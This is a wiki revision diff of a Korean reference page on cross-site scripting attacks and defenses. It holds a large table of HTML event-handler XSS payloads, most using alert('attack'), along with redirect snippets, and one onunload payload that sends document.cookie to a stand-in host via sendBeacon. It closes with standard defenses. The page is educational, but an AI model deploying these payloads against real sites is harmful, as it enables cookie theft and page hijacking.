사용자 도구

사이트 도구


기술문서:레퍼런스:보안:xss

차이

문서의 선택한 두 판 사이의 차이를 보여줍니다.

차이 보기로 링크

양쪽 이전 판 이전 판
다음 판
이전 판
기술문서:레퍼런스:보안:xss [2026/02/27 11:44]
carlito76
기술문서:레퍼런스:보안:xss [2026/05/14 21:08] (현재)
carlito76
줄 1: 줄 1:
 +{{htmlmetatags>
 +metatag-description=(XSS, Cross Site Scripting, 크로스 사이트 스크립팅, 공격과 방어, 예시)
 +metatag-og:description=(XSS, Cross Site Scripting, 크로스 사이트 스크립팅, 공격과 방어, 예시)
 +}}
 +
 ====== XSS ====== ====== XSS ======
  
 <note warning> <note warning>
-XSS (Cross Site Scripting) 공격과 방어+XSS (Cross Site Scripting) 공격과 방어\\ \\ 
 +<color red>**"본 문서의 예시는 학습용입니다. 반드시 테스트 환경에서만 사용하세요."**</color>
 </note> </note>
  
줄 52: 줄 58:
 | oncuechange ((<track>)) |  <color gray>-</color>  | | | oncuechange ((<track>)) |  <color gray>-</color>  | |
 | oncut ((클립보드)) | <span\\ oncut="alert('attack')">\\ Ctrl + X\\ </span> | 잘라내기 실행 시 | | oncut ((클립보드)) | <span\\ oncut="alert('attack')">\\ Ctrl + X\\ </span> | 잘라내기 실행 시 |
-| ondeactivate ((Internet Explorer / Edge Legacy)) ((포커스)) |  <color gray>-</color>  | | 
 | ondblclick ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ ondblclick="alert('attack')"> | (영역 내) 더블클릭 | | ondblclick ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ ondblclick="alert('attack')"> | (영역 내) 더블클릭 |
 +| ondeactivate ((Internet Explorer / Edge Legacy)) ((포커스)) |  <color gray>-</color>  | |
 | ondevicechange ((하드웨어)) |  <color gray>-</color>  | | | ondevicechange ((하드웨어)) |  <color gray>-</color>  | |
 | ondevicemotion ((하드웨어)) |  <color gray>-</color>  | | | ondevicemotion ((하드웨어)) |  <color gray>-</color>  | |
줄 66: 줄 72:
 | ondrop ((드래그 앤 드롭)) |  <color gray>-</color>  | | | ondrop ((드래그 앤 드롭)) |  <color gray>-</color>  | |
 | ondurationchange ((미디어)) ((<audio>, <video>)) | <video\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.mp4</nowiki>"\\ width="0" height="0"\\ ondurationchange="alert('attack')"> | 미디어 로딩 과정 ((순서\\ 1. onloadstart\\ 2. ondurationchange\\ 3. onloadedmetadata\\ 4. onloadeddata\\ 5. onprogress\\ 6. oncanplay\\ 7. oncanplaythrough))\\ - 자동 실행 | | ondurationchange ((미디어)) ((<audio>, <video>)) | <video\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.mp4</nowiki>"\\ width="0" height="0"\\ ondurationchange="alert('attack')"> | 미디어 로딩 과정 ((순서\\ 1. onloadstart\\ 2. ondurationchange\\ 3. onloadedmetadata\\ 4. onloadeddata\\ 5. onprogress\\ 6. oncanplay\\ 7. oncanplaythrough))\\ - 자동 실행 |
 +| onemptied ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  | 미디어 소스 초기화 |
 | onend ((SVG 애니메이션)) | <svg width="0" height="0">\\ <animate\\ onend="alert('attack')"\\ dur="1s">\\ </svg> | 애니메이션 종료\\ - 자동 실행 | | onend ((SVG 애니메이션)) | <svg width="0" height="0">\\ <animate\\ onend="alert('attack')"\\ dur="1s">\\ </svg> | 애니메이션 종료\\ - 자동 실행 |
-| onended ((미디어)) ((<audio>, <video>)) | FIXME | FIXME |+| onended ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  | 재생 종료 |
 | onerror | <img\\ src=""\\ onerror="alert('attack')"> | 로드 실패\\ - 자동 실행 | | onerror | <img\\ src=""\\ onerror="alert('attack')"> | 로드 실패\\ - 자동 실행 |
 | onerrorupdate ((Internet Explorer)) |  <color gray>-</color>  | | | onerrorupdate ((Internet Explorer)) |  <color gray>-</color>  | |
줄 85: 줄 92:
 | ongamepaddisconnected ((하드웨어)) |  <color gray>-</color>  | | | ongamepaddisconnected ((하드웨어)) |  <color gray>-</color>  | |
 | ongotpointercapture ((포인터)) |  <color gray>-</color>  | 제어권 획득 | | ongotpointercapture ((포인터)) |  <color gray>-</color>  | 제어권 획득 |
-| onhashchange |  <color gray>-</color>  | 해시(#) 변경 시 |+| onhashchange |  <color gray>-</color>  | 해시 부분(#) 변경 |
 | onhelp ((Internet Explorer)) |  <color gray>-</color>  | | | onhelp ((Internet Explorer)) |  <color gray>-</color>  | |
 | oninput | <input\\ oninput="alert('attack')"> | 입력 직후 | | oninput | <input\\ oninput="alert('attack')"> | 입력 직후 |
줄 121: 줄 128:
 | onpageshow ((<body>, <frameset>)) | <body\\ onpageshow="alert('attack')">\\ </body>\\ \\ <frameset\\ onpageshow="alert('attack')">\\ </frameset> | 페이지 진입 시 | | onpageshow ((<body>, <frameset>)) | <body\\ onpageshow="alert('attack')">\\ </body>\\ \\ <frameset\\ onpageshow="alert('attack')">\\ </frameset> | 페이지 진입 시 |
 | onpaste ((클립보드)) | <span\\ onpaste="alert('attack')">\\ Ctrl + V\\ </span> | 붙여넣기 실행 시 | | onpaste ((클립보드)) | <span\\ onpaste="alert('attack')">\\ Ctrl + V\\ </span> | 붙여넣기 실행 시 |
-| onpause ((미디어)) ((<audio>, <video>)) | FIXME | FIXME | +| onpause ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  | 재생 일시중지 | 
-| onplay ((미디어)) ((<audio>, <video>)) | FIXME | FIXME | +| onplay ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  | 재생 시작 | 
-| onplaying ((미디어)) ((<audio>, <video>)) | FIXME | FIXME |+| onplaying ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  | 재생 시작 성공 |
 | onpointercancel ((포인터)) |  <color gray>-</color>  | 강제 중단/취소 | | onpointercancel ((포인터)) |  <color gray>-</color>  | 강제 중단/취소 |
 | onpointerdown ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onpointerdown="alert('attack')"> | (영역 내) 누르는 순간 | | onpointerdown ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onpointerdown="alert('attack')"> | (영역 내) 누르는 순간 |
줄 137: 줄 144:
 | onprogress ((미디어)) ((<audio>, <video>)) | <video\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.mp4</nowiki>"\\ width="0" height="0"\\ onprogress="alert('attack')"> | 미디어 로딩 과정 ((순서\\ 1. onloadstart\\ 2. ondurationchange\\ 3. onloadedmetadata\\ 4. onloadeddata\\ 5. onprogress\\ 6. oncanplay\\ 7. oncanplaythrough))\\ - 자동 실행 | | onprogress ((미디어)) ((<audio>, <video>)) | <video\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.mp4</nowiki>"\\ width="0" height="0"\\ onprogress="alert('attack')"> | 미디어 로딩 과정 ((순서\\ 1. onloadstart\\ 2. ondurationchange\\ 3. onloadedmetadata\\ 4. onloadeddata\\ 5. onprogress\\ 6. oncanplay\\ 7. oncanplaythrough))\\ - 자동 실행 |
 | onpropertychange ((Internet Explorer / Edge Legacy)) |  <color gray>-</color>  | | | onpropertychange ((Internet Explorer / Edge Legacy)) |  <color gray>-</color>  | |
-| onratechange ((미디어)) ((<audio>, <video>)) | FIXME | FIXME |+| onratechange ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  | 재생 속도 변경 |
 | onreadystatechange ((비동기)) |  <color gray>-</color>  | | | onreadystatechange ((비동기)) |  <color gray>-</color>  | |
 | onrejectionhandled ((비동기)) |  <color gray>-</color>  | | | onrejectionhandled ((비동기)) |  <color gray>-</color>  | |
줄 154: 줄 161:
 | onsearch ((<input type="search">)) | <input\\ type="search"\\ onsearch="alert('attack')"> | Enter 또는 x | | onsearch ((<input type="search">)) | <input\\ type="search"\\ onsearch="alert('attack')"> | Enter 또는 x |
 | onsecuritypolicyviolation |  <color gray>-</color>  | | | onsecuritypolicyviolation |  <color gray>-</color>  | |
-| onseeked ((미디어)) ((<audio>, <video>)) | FIXME | FIXME | +| onseeked ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  | 재생 위치 변경 완료 | 
-| onseeking ((미디어)) ((<audio>, <video>)) | FIXME | FIXME |+| onseeking ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  | 재생 위치 변경 중 |
 | onselect ((<input>, <textarea>)) | <input\\ onselect="alert('attack')"> | 텍스트 선택 시 | | onselect ((<input>, <textarea>)) | <input\\ onselect="alert('attack')"> | 텍스트 선택 시 |
 | onselectionchange |  <color gray>-</color>  | | | onselectionchange |  <color gray>-</color>  | |
줄 161: 줄 168:
 | onshow ((Firefox)) |  <color gray>-</color>  | | | onshow ((Firefox)) |  <color gray>-</color>  | |
 | onslotchange |  <color gray>-</color>  | | | onslotchange |  <color gray>-</color>  | |
-| onstalled ((미디어)) ((<audio>, <video>)) | FIXME | FIXME |+| onstalled ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  | 미디어 로딩 중단 |
 | onstart ((Internet Explorer / Edge Legacy)) ((<marquee>)) |  <color gray>-</color>  | | | onstart ((Internet Explorer / Edge Legacy)) ((<marquee>)) |  <color gray>-</color>  | |
 | onstop ((Internet Explorer / Edge Legacy)) |  <color gray>-</color>  | | | onstop ((Internet Explorer / Edge Legacy)) |  <color gray>-</color>  | |
 | onstorage ((<body>)) |  <color gray>-</color>  | | | onstorage ((<body>)) |  <color gray>-</color>  | |
 | onsubmit ((<form>)) |  <color gray>-</color>  | | | onsubmit ((<form>)) |  <color gray>-</color>  | |
-| onsuspend ((미디어)) ((<audio>, <video>)) | FIXME | FIXME | +| onsuspend ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  | 미디어 로딩 일시중단 | 
-| ontimeupdate ((미디어)) ((<audio>, <video>)) | FIXME | FIXME |+| ontimeupdate ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  | 재생 시간 변경 |
 | ontoggle ((<details>)) |  <color gray>-</color>  | | | ontoggle ((<details>)) |  <color gray>-</color>  | |
 | ontouchcancel ((터치)) |  <color gray>-</color>  | 강제 중단/취소 | | ontouchcancel ((터치)) |  <color gray>-</color>  | 강제 중단/취소 |
줄 180: 줄 187:
 | onunload ((<body>, <frameset>)) | <body\\ onunload="navigator.sendBeacon\\ ('<nowiki>https://example.com</nowiki>', document.cookie)">\\ </body>\\ \\ <frameset\\ onunload="navigator.sendBeacon\\ ('<nowiki>https://example.com</nowiki>', document.cookie)">\\ </frameset> | 페이지 이탈 시 | | onunload ((<body>, <frameset>)) | <body\\ onunload="navigator.sendBeacon\\ ('<nowiki>https://example.com</nowiki>', document.cookie)">\\ </body>\\ \\ <frameset\\ onunload="navigator.sendBeacon\\ ('<nowiki>https://example.com</nowiki>', document.cookie)">\\ </frameset> | 페이지 이탈 시 |
 | onvisibilitychange |  <color gray>-</color>  | | | onvisibilitychange |  <color gray>-</color>  | |
-| onvolumechange ((미디어)) ((<audio>, <video>)) | FIXME | FIXME |+| onvolumechange ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  | 재생 볼륨 변경 |
 | onvrdisplayactivate ((하드웨어)) |  <color gray>-</color>  | | | onvrdisplayactivate ((하드웨어)) |  <color gray>-</color>  | |
 | onvrdisplaydeactivate ((하드웨어)) |  <color gray>-</color>  | | | onvrdisplaydeactivate ((하드웨어)) |  <color gray>-</color>  | |
-| onwaiting ((미디어)) ((<audio>, <video>)) | FIXME | FIXME |+| onwaiting ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  | 재생 버퍼링 발생 |
 | onwebkitanimationcancel ((WebKit 엔진)) |  <color gray>-</color>  | | | onwebkitanimationcancel ((WebKit 엔진)) |  <color gray>-</color>  | |
 | onwebkitanimationend ((WebKit 엔진)) |  <color gray>-</color>  | | | onwebkitanimationend ((WebKit 엔진)) |  <color gray>-</color>  | |
줄 203: 줄 210:
 | onzoom ((Internet Explorer)) |  <color gray>-</color>  | | | onzoom ((Internet Explorer)) |  <color gray>-</color>  | |
 ((https://www.w3schools.com/tags/ref_eventattributes.asp)) ((https://html.spec.whatwg.org/multipage/webappapis.html#event-handlers-on-elements,-document-objects,-and-window-objects)) ((https://www.w3schools.com/tags/ref_eventattributes.asp)) ((https://html.spec.whatwg.org/multipage/webappapis.html#event-handlers-on-elements,-document-objects,-and-window-objects))
 +
 +==== HTML Metadata Element ====
 +^  속성  ^  예시  ^
 +| meta | <meta http-equiv="refresh" content="0;url=<nowiki>https://example.com</nowiki>"> |
 +| link |  <color gray>-</color>  |
 +| style |  <color gray>-</color>  |
 +| base | <base href="<nowiki>https://example.com</nowiki>"> |
 +
 +==== HTML Executable Element ====
 +^  속성  ^  예시  ^
 +| script | <script>alert('attack')</script> |
 +| object | FIXME |
 +| embed | FIXME |
 +| applet | FIXME |
 +| svg | FIXME |
 +| iframe | FIXME |
 +| frame | FIXME |
 +
 +==== 페이징 이동 ====
 +<sxh javascript; gutter: true;>
 +location.href='https://example.com'
 +location.replace('https://example.com')
 +location.assign('https://example.com')
 +window.location='https://example.com'
 +document.location='https://example.com'
 +top.location= 'https://example.com'
 +parent.location='https://example.com'
 +self.location='https://example.com'
 +
 +location['href']='https://example.com'
 +location['replace']('https://example.com')
 +location['assign']('https://example.com')
 +window['location']='https://example.com'
 +document['location']='https://example.com'
 +top['location']='https://example.com'
 +parent['location']='https://example.com'
 +self['location']='https://example.com'
 +
 +location='https://example.com'
 +window.open('https://example.com', '_self')
 +</sxh>
  
 ===== 방어 ===== ===== 방어 =====
줄 211: 줄 259:
     * " → &quot;     * " → &quot;
     * ' → &apos;     * ' → &apos;
-  * DOMPurify 사용 +  * DOMPurify ((https://github.com/cure53/DOMPurify)) 사용 
-  * CSP 설정+  * CSP (Content-Security Policy) 설정
   * HttpOnly 설정   * HttpOnly 설정